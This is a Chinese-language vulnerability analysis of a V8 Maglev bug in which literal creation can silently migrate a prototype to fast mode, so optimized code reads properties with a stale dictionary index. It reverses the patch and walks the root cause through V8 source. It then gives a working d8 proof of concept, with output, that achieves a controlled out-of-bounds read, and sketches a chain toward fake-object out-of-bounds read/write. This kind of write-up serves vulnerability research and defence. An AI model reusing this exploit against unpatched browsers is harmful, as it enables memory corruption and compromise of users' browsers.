Chrome V8 Maglev 字面量 KNA 失效漏洞(CVE-2026-126910)利用分析
CVE-2026-126910是Google Chrome最新爆出的CVE漏洞,由于Maglev 的 CreateObjectLiteral / CreateArrayLiteral 漏标 CanWrite ,导致原型对象从字典模式迁回 fast 模式后,优化代码仍然使用过期的字典下标读取属性。本文记录了补丁逆向、根因分析、PoC 构造以及最终得到的 in-cage 越界读原语的实现 简介 受影响…
CVE-2026-126910是Google Chrome最新爆出的CVE漏洞,由于Maglev 的 CreateObjectLiteral / CreateArrayLiteral 漏标 CanWrite,导致原型对象从字典模式迁回 fast 模式后,优化代码仍然使用过期的字典下标读取属性。本文记录了补丁逆向、根因分析、PoC 构造以及最终得到的 in-cage 越界读原语的实现
简介
受影响产品 | Google Chrome 及其他产品内置的 V8 JS 引擎 |
|---|---|
CVE | CVE-2026-126910(bug 574059463),关联 bug 575525282 |
补丁链接 | |
修复 commit |
|
漏洞类型 | Type confusion / stale map(CWE-843),High |
严重等级 | High(Chrome 官方定级;本 CVE 未见公开 CVSS) |
影响组件 | V8 Maglev( |
影响版本 | Chrome < 157.0.8103.78;V8 15.7.0、15.0.0 等修复前版本 |
背景:Maglev 与 KNA
在进入补丁之前,先把几个 V8 内部概念摆清楚
Maglev 的编译流程
V8 的 JS 执行大致分三层:
Maglev 的目标是“比 TurboFan 编译快、比 Ignition 执行快”,所以它非常依赖反馈和已知信息。比如一个属性加载 A.x,如果反馈说 A 是字典模式对象、x 是字典属性,Maglev 就会生成 LoadDictionaryField 节点,带着字典 entry 下标;如果反馈说 A 是 fast 对象、x 是某个字段,它就生成字段加载
KNA 与节点副作用
KNA(Known Node Aspects)是 Maglev 里的一套“已知信息”机制:它记录某个节点、某个对象当前的 map、属性、元素类型等,供后续节点做优化。KNA 的正确性依赖一条规则:只要两个节点之间发生了可能改变这些信息的操作,已知信息就必须失效。
Maglev 的节点用 OpProperties 描述自己的副作用,例如:
属性 | 含义 |
|---|---|
| 可能调用 JS/运行时 |
| 可能分配对象 |
| 可能抛异常 |
| 可能 lazy deopt |
| 多次执行结果可能不同 |
| 可能写堆 |
CanWrite() 是这次漏洞的核心。CreateObjectLiteral / CreateArrayLiteral 在打补丁之前有 Call / CanAllocate / CanThrow / LazyDeopt / NotIdempotent,唯独没有 CanWrite。于是 KNA 认为:字面量创建不会改变堆上对象的 map/属性布局,之前建立的 map 依赖、属性加载的反馈、字段下标都仍然有效,但事实并非如此
逆向补丁
补丁内容
先看完整 diff:
diff --git a/src/maglev/maglev-ir.h b/src/maglev/maglev-ir.h
@@ -5412,7 +5412,9 @@ class CreateArrayLiteral : public FixedInputValueNodeT<0, CreateArrayLiteral> {
static constexpr OpProperties kProperties =
OpProperties::Call() | OpProperties::CanAllocate() |
OpProperties::CanThrow() | OpProperties::LazyDeopt() |
- OpProperties::NotIdempotent();
+ OpProperties::NotIdempotent() |
+ // The runtime call may make prototype maps fast.
+ OpProperties::CanWrite();
@@ -5480,7 +5482,9 @@ class CreateObjectLiteral
static constexpr OpProperties kProperties =
OpProperties::Call() | OpProperties::CanAllocate() |
OpProperties::CanThrow() | OpProperties::LazyDeopt() |
- OpProperties::NotIdempotent();
+ OpProperties::NotIdempotent() |
+ // The runtime call may make prototype maps fast.
+ OpProperties::CanWrite();还是熟悉的“只加不删”:没有条件判断被改写,也没有新函数,只是在两个节点的属性集合里各加了一个 CanWrite()。这种补丁往往意味着——不是某段逻辑写错了,而是某个副作用没有被建模
提交信息写得很直接:“make a prototype go into fast mode, which changes its map”——一句话把根因说完了:字面量创建不只是“分配对象”,它还可能把某个原型对象从字典模式迁回 fast 模式,从而改变这个对象的 map
这两个节点在做什么
CreateObjectLiteral / CreateArrayLiteral 是 Maglev 对对象/数组字面量的建模。它们在运行时最终会走到 V8 的 CreateObjectLiteral / CreateArrayLiteral builtin/runtime,其中有一个容易被忽略的分支:
也就是说,创建一个对象字面量,可能远程修改另一个对象的 map 和属性存储布局。
在打补丁之前,Maglev 的 KNA 只知道这两个节点会调用、会分配、会抛异常、会 lazy deopt、不是幂等的,但不知道它们会写堆。于是 KNA 会认为:字面量创建前后,原型对象的 map / 属性布局没有变化,之前建立的 map 依赖、属性加载的反馈、字段下标都仍然有效,而事实是:字面量创建之后,原型对象的 map 已经变了
修复前后
修复前 | 修复后 | |
|---|---|---|
节点属性 | 无 | 有 |
KNA 认知 | 字面量创建不改变堆上 map/属性 | 字面量创建可能写堆,相关依赖失效 |
| 继续用旧的字典下标 | map 变化时 deopt/重算,按 fast 属性加载 |
官方测试 2 |
|
|
官方测试 1 | 过期读返回受控 32 位字 | 不再读到数组元素 |
源码定位与调用链
从反馈到 LoadDictionaryField
A.name 的加载不是凭空变成字典读的。Ignition 在解释执行时把 A 的 map 和属性查找结果写进 FeedbackVector;Maglev 的 graph builder 读取反馈,看到 PropertyAccessInfo::kDictionaryDataField,就生成 LoadDictionaryField:
case compiler::PropertyAccessInfo::kDictionaryDataField: {
ValueNode* load_source;
if (access_info.holder().has_value()) {
load_source = GetConstant(access_info.holder().value());
} else {
load_source = lookup_start_object;
}
ValueNode* result;
GET_VALUE_OR_ABORT(
result, AddNewNode<LoadDictionaryField>(
{GetContext(), load_source, receiver}, name,
access_info.dictionary_index().as_int(), feedback_source,
receiver != lookup_start_object));
return result;
}源码位置:src/maglev/maglev-graph-builder.cc:4640 附近。access_info.dictionary_index() 就是后面一直带着的 843
用 --trace-maglev-graph-building 可以看到:
LoadDictionaryField #name index=843在 FeedbackVector 里,这个 load 对应的 slot 是:
slot #7 LoadProperty MONOMORPHIC
[weak] Map[12](HOLEY_ELEMENTS): LoadHandler(Smi)(kind = kNormal)kind = kNormal 表示这是一个普通数据属性,handler 里编码的 data 是字典 entry 下标;[weak] Map[12](HOLEY_ELEMENTS) 是优化时 A 的 map
LoadDictionaryField 的代码生成
x64 的 GenerateCode 先读 properties_or_hash_,按字典 entry 下标算 entry_index,然后做边界检查:
__ LoadTaggedField(properties, object,
offsetof(JSReceiver, properties_or_hash_));
int entry_index = NameDictionary::kElementsStartIndex +
dictionary_index() * NameDictionary::kEntrySize;
int max_index = entry_index + NameDictionary::kEntrySize - 1;
Register length = temps.Acquire();
__ movl(length, FieldOperand(properties, FixedArrayBase::kLengthOffset));
__ cmpl(length, Immediate(max_index));
__ j(below_equal, deferred_fallback);源码位置:src/maglev/x64/maglev-ir-x64.cc:1194 起
如果 properties 还是 NameDictionary 且 entry 在长度内,它会读 key、检查是不是 name、检查属性类型是不是 data,然后读 value;否则跳到 deferred_fallback,调用 Builtin::kLoadIC:
__ CallBuiltin<Builtin::kLoadIC>(
node->ContextInput(), object, node->name().object(),
TaggedIndex::FromIntptr(node->feedback().index()),
node->feedback().vector);也就是说,过期下标有两条路:inline 的字典快路径,或者退回 LoadIC
LoadIC 的 load_normal
退回 LoadIC 后,load_normal 的字典 handler 会重新读 properties,再做一次边界检查:
TNode<HeapObject> properties = LoadSlowProperties(CAST(holder));
...
TNode<IntPtrT> element_index = EntryToIndex<NameDictionary>(index_ptr);
TNode<IntPtrT> properties_length =
LoadFixedArrayBaseLength(CAST(properties));
GotoIf(UintPtrGreaterThanOrEqual(element_index, properties_length),
&lookup);
TNode<Object> key =
LoadFixedArrayElement(CAST(properties), element_index);
GotoIf(TaggedNotEqual(key, p->name()), &lookup);
...
BIND(&lookup);
NameDictionaryLookup<PropertyDictionary>(CAST(properties), CAST(p->name()),
&found, &var_name_index, miss);源码位置:src/ic/accessor-assembler.cc:894 起
注意 lookup 分支:它把 properties 直接当成 PropertyDictionary 传给 NameDictionaryLookup,而 properties 现在可能已经是 PropertyArray。这段 fallback 是过期下标继续往下走的入口;具体读到什么,取决于 properties 的实际布局和相邻堆对象
字典到 fast 的迁移
在 A 进入字典模式后,字面量创建会触发 OptimizeAsPrototype:
void JSObject::OptimizeAsPrototype(DirectHandle<JSObject> object,
bool enable_setup_mode) {
DCHECK(IsJSObjectThatCanBeTrackedAsPrototype(*object));
if (IsJSGlobalObject(*object)) return;
...
if (object->map()->is_prototype_map()) {
...
if (!V8_DICT_PROPERTY_CONST_TRACKING_BOOL &&
object->map()->should_be_fast_prototype_map() &&
!object->HasFastProperties()) {
JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");
}
}
...
}源码位置:src/objects/js-objects.cc:5102
MigrateSlowToFast 会把 NameDictionary 的 entry 转成 PropertyArray 和新的 descriptors:
void JSObject::MigrateSlowToFast(DirectHandle<JSObject> object,
int unused_property_fields,
const char* reason) {
if (object->HasFastProperties()) return;
...
if (number_of_elements > kMaxNumberOfDescriptors) return;
...
}源码位置:src/objects/js-objects.cc:4007
迁移完成后,A 的 properties_or_hash_ 从 NameDictionary 变成 PropertyArray,map 也换成 fast map。此时 LoadDictionaryField 里保存的 843 仍然按 EntryToIndex(843) 去读,读到的东西自然不再是 A.name
根因分析
字典模式与 fast 模式的布局差异
V8 对象的命名属性有两种存储方式:
一个 JSObject 的布局大致是:
JSObject:
+0 map
+4 properties_or_hash // 字典模式指向 NameDictionary,fast 模式指向 PropertyArray
+8 elements
...LoadDictionaryField 的语义是:拿着一个字典 entry 下标,去 properties 里读 key/details/value。它在生成代码时会带一个边界检查:
element_index = EntryToIndex<NameDictionary>(index);
properties_length = LoadFixedArrayBaseLength(properties);
if (element_index >= properties_length) goto lookup;
key = LoadFixedArrayElement(properties, element_index);
if (key != name) goto lookup;
value = LoadFixedArrayElement(properties, element_index + 2);如果 properties 还是 NameDictionary,这个检查是对的;但如果 properties 已经被迁移成 PropertyArray,而代码仍然拿着旧的字典下标来读,就会出现两种结果:
旧下标落在新
PropertyArray长度内 → 读到 错误槽位旧下标落在新
PropertyArray外,且相邻堆对象可控 → 读到 越界数据
触发链
官方回归测试 2 把触发条件写得很清楚:
function f(flag) {
if (flag) return {a: 1, b: {c: 2}};
return 0;
}
%PrepareFunctionForOptimization(f);
f(true);
f(true);
const sib = { a: 1, z: 0 };
sib.a = 1.5; // 让上面几个 map 都 deprecated
const A = Object.prototype;
A.x1 = 'TRUE';
A[0] = 7;
for (let i = 0; i < 80; i++) {
A['k' + i] = (i % 3 === 0) ? 'x1' : (i % 3 === 1 ? 'WRONG' : 0);
}
// 用 >1020 个属性的 Object.assign 把 A 打成字典模式;
// 第一个 getter 抛异常,所以一个属性都不会真正写进去。
const big = {};
Object.defineProperty(big, 'g0', { enumerable: true, get() { throw 1; } });
for (let i = 0; i < 1100; i++) big['p' + i] = i;
try { Object.assign(A, big); } catch (e) {}
function h(A, flag) {
A[0]; // map check
f(flag); // 对象字面量:可能把 A 迁回 fast
return A.x1; // 对 A 的属性加载
}
%PrepareFunctionForOptimization(h);
assertEquals('TRUE', h(A, false));
%OptimizeMaglevOnNextCall(h);
assertEquals('TRUE', h(A, false));
assertMaglevved(h);
assertFalse(%HasFastProperties(A));
assertEquals('TRUE', h(A, true)); // 修复后;修复前是 'WRONG'
assertUnoptimized(h);
assertTrue(%HasFastProperties(A));关键步骤:
修复前,第 5 步读到的不是 'TRUE',而是 'WRONG'——它读到了新 PropertyArray 里另一个属性的值。修复后,CanWrite 让 KNA 知道字面量创建会写堆,h 在 map 变化时被 deopt,A.x1 重新按 fast 属性加载,返回 'TRUE',同时 assertUnoptimized(h) 成立
触发条件清单
条件 | 为什么需要 |
|---|---|
|
|
| 才会生成 |
| 优化时记录 843 这个字典下标 |
字面量创建把 | map/properties 改变,但优化代码不知道 |
之后的 load 仍走旧 handler |
|
为什么 map check 没有拦住
h 的第一行 A[0] 是一个 map check:它让 Maglev 相信 A 还是优化时看到的那个字典 map。接着 f(flag) 创建字面量,OptimizeAsPrototype(A) 把 A 的 map 换成了 fast map。按正常逻辑,后面的属性加载应该因为 map 不匹配而 deopt/重算 handler;但由于 CreateObjectLiteral / CreateArrayLiteral 没有被标记为 CanWrite,KNA 没有把“字面量创建可能改变 A 的 map”这件事记进依赖里,优化代码继续沿着旧的字典路径执行
这就是补丁注释里那句 “The runtime call may make prototype maps fast” 的真正含义:字面量创建是一个隐藏的写操作
数据流小结
阶段 |
|
| 代码使用的下标 |
|---|---|---|---|
优化时 |
| dictionary map | 843 |
字面量创建后 |
| fast map | 843(过期) |
为什么 CanWrite足以完成防护
OpProperties::CanWrite() 在 src/maglev/maglev-ir.h:1262 定义,KNA 用节点属性判断副作用。字面量创建带上 CanWrite 之后,KNA 会把它当成可能写堆的操作:之前记录的 A 的 map / 属性依赖失效,优化代码在 map 变化时 deopt(官方测试里的 assertUnoptimized(h)),后续的 A.x1 / A.name 重新按 fast 属性加载,不会再拿 843 去读新的 PropertyArray
所以补丁不需要改 LoadDictionaryField,也不需要改 OptimizeAsPrototype;它只需要让编译器“知道”字面量创建会写堆
环境搭建
复现环境:d8(version:15.7.0)
环境附件:env(附完整环境,该poc部分使用标定值,建议直接用给定环境测试否则需要自行测量标定值,直接下载好像要会员、保存到网盘再下不用?)
复现流程: d8直接执行特定js程序即可触发越界内存访问

PoC 构造
第一步:证明读到了数组元素
官方测试 1 给了最好的起点。它把 2048 个 double 放进数组字面量,每个 double 的低 32 位是字符串 "name" 的压缩地址,高 32 位是攻击者选的 32 位字
把 WORD 换成一个可识别的 Smi,就能直接证明“读的是数组元素”:
const NAME = 0xe29; // RO string "name" 的压缩地址(double 的低 32 位)
const PROBE_IDX = 1249; // 过期字典探测命中的数组元素下标(标定值)
var O; // 持有大数组,防止被回收
// f 内部的对象字面量创建会触发 OptimizeAsPrototype
function f(flag) { if (flag) return { a: 1, b: { c: 2 } }; return 0; }
%PrepareFunctionForOptimization(f);
f(true); f(true);
const sib = { a: 1, z: 0 };
sib.a = 1.5; // 废弃旧 map,保证后续迁移路径
// 把 Object.prototype 打成字典模式,让 name 走字典查找
const A = Object.prototype;
A.name = 'TRUE';
A[0] = 7;
const big = {};
Object.defineProperty(big, 'g0', { enumerable: true, get() { throw 1; } });
for (let i = 0; i < 1100; i++) big['p' + i] = i;
try { Object.assign(A, big); } catch (e) {}
// 生成 2048 个 double 的数组字面量源码:
// 每个 double 低 32 位是 "name" 地址,高 32 位可控;
// 下标 PROBE_IDX 处高 32 位写成 Smi 0x99B(0x1336)
const dv = new DataView(new ArrayBuffer(8));
const elems = [];
for (let i = 0; i < 2048; i++) {
let hi = (i << 2) >>> 0;
if (i === PROBE_IDX) hi = 0x001336;
dv.setUint32(0, NAME, true);
dv.setUint32(4, hi, true);
elems.push(String(dv.getFloat64(0, true)).padEnd(30)); // 定宽,稳定堆布局
}
// h:先 map check,再触发字面量创建(A 迁回 fast),最后读 A.name
const h = new Function('A', 'flag',
'A[0]; ' +
'f(flag); ' +
'var o = [' + elems.join(',') + ']; ' +
'var x = A.name; ' +
'O = o; ' +
'return x;');
%CollectGarbage(null);
%CollectGarbage(null);
%PrepareFunctionForOptimization(h);
h(A, false);
%OptimizeMaglevOnNextCall(h);
// 期望:正常应返回 'TRUE',实际读到数组元素里的 Smi 0x99B
const x = h(A, true);
print('A.name normally = ' + A.name);
print('h() returned = ' + x);
print('typeof x = ' + typeof x);
print('x === 0x99B = ' + (x === 0x99b));
print('OOB read ok = ' + (x === 0x99b));
print('done');执行结果:
A.name normally = TRUE
h() returned = 2459
typeof x = number
x === 0x99B = true
OOB read ok = true
done2459 = 0x99B,说明 A.name 返回的不是 'TRUE',而是我们放在数组元素里的 Smi。到这里,越界读已经成立
第二步:越界读的构造
思路是把“读一个值”升级成“读一个指针”:在元素里伪造一个 JSArray,让 A.name 返回指向它的 tagged 指针,再改写它的字段,使 length 与 elements 容量脱钩
这是整条链的关键:V8 的 load 只负责返回一个 tagged 值,对于堆对象,类型完全由它开头的 map 决定
A.name 命中 kNormal handler 后,实际处理在 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase 里(src/ic/accessor-assembler.cc:827)。调用链:
LoadIC_Noninlined (accessor-assembler.cc:3721)
→ HandleLoadICHandlerCase (:490)
→ HandleLoadICSmiHandlerCase (:646)
→ HandleLoadICSmiHandlerLoadNamedCase (:827)
→ BIND(&normal) (:892)normal 分支(src/ic/accessor-assembler.cc:892-953,节选):
void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase(
const LazyLoadICParameters* p, TNode<Object> holder,
TNode<Uint32T> handler_kind, TNode<Word32T> handler_word, ...) {
...
GotoIf(Word32Equal(handler_kind, LOAD_KIND(kNormal)), &normal);
...
BIND(&normal);
{
Comment("load_normal");
TNode<HeapObject> properties = LoadSlowProperties(CAST(holder));
TNode<Uint32T> index =
DecodeWord32<LoadHandler::DictionaryIndexBits>(handler_word);
{
TNode<IntPtrT> index_ptr = Signed(ChangeUint32ToWord(index));
TNode<IntPtrT> element_index = EntryToIndex<NameDictionary>(index_ptr);
TNode<IntPtrT> properties_length =
LoadFixedArrayBaseLength(CAST(properties));
GotoIf(UintPtrGreaterThanOrEqual(element_index, properties_length),
&lookup);
TNode<Object> key =
LoadFixedArrayElement(CAST(properties), element_index);
GotoIf(TaggedNotEqual(key, p->name()), &lookup);
var_name_index = element_index;
}
Goto(&found);
BIND(&lookup);
NameDictionaryLookup<PropertyDictionary>(CAST(properties), CAST(p->name()),
&found, &var_name_index, miss);
BIND(&found);
{
TVARIABLE(Uint32T, var_details);
TVARIABLE(Object, var_value);
LoadPropertyFromDictionary<PropertyDictionary>(
CAST(properties), var_name_index.value(), &var_details, &var_value);
...
TNode<Object> value = CallGetterIfAccessorAndBailoutOnLazyClosures(...);
exit_point->Return(value);
}
}
}往下两层函数都只按 key index 取槽位,返回类型是 Object,没有任何“这个值必须是什么类型”的检查(src/codegen/code-stub-assembler.cc:12736):
template <typename Dictionary>
void CodeStubAssembler::LoadPropertyFromDictionary(
TNode<Dictionary> dictionary, TNode<IntPtrT> name_index,
TVariable<Uint32T>* var_details, TVariable<Object>* var_value) {
Comment("LoadPropertyFromNameDictionary");
*var_details = LoadDetailsByKeyIndex(dictionary, name_index);
*var_value = LoadValueByKeyIndex(dictionary, name_index);
}// src/codegen/code-stub-assembler.cc:11263
// Loads the value for the entry with the given key_index.
// Returns a tagged value.
template <class ContainerType>
TNode<Object> CodeStubAssembler::LoadValueByKeyIndex(
TNode<ContainerType> container, TNode<IntPtrT> key_index) {
const int kKeyToValueOffset =
(ContainerType::kEntryValueIndex - ContainerType::kEntryKeyIndex) *
kTaggedSize;
return LoadFixedArrayElement(container, key_index, kKeyToValueOffset);
}回到 JS 侧,这 4 个字节只按最低位区分(include/v8-internal.h:58-72):
const int kHeapObjectTag = 1;
const int kWeakHeapObjectTag = 3;
const int kHeapObjectTagSize = 2;
const intptr_t kHeapObjectTagMask = (1 << kHeapObjectTagSize) - 1;
...
const int kSmiTag = 0;
const int kSmiTagSize = 1;
const intptr_t kSmiTagMask = (1 << kSmiTagSize) - 1;最低位 1 → HeapObject,0 → Smi。填 F|1,x 就是“指向 F 的对象引用”;填 0x1336,x 是 Smi 2459
所以不难想到完整利用链大致为:
漏洞越界读回一个32位Tagged
F|1使得读回的32位Tagged被当成指针解析指针指向一块可控内存,在该内存上伪造一个畸形的JSArray
最终,顺着这条指针访问到畸形的JSArray元素即可实现越界访问
补充:标定值的来源
标定值 | 含义 | 怎么来的 | 15.7 实测 |
|---|---|---|---|
| 过期查找读出的元素下标 | 标记字逐槽替换,返回 2459 的候选即读槽 |
|
|
|
|
|
|
|
|
|
| 真实小数组 S 的压缩地址 | S 在触发后创建, |
|
总结
该漏洞的初始原语就是能拿到一个 32 位tagged读,能被利用的关键是32 位tagged被v8解析成什么类型完全是末位决定的,而该数据本身又能被我们控制,所以最终能有效伪造成一条指针指向我们控制的内存,最终v8再进一步解析时能让其出现类型混淆从而实现越界读写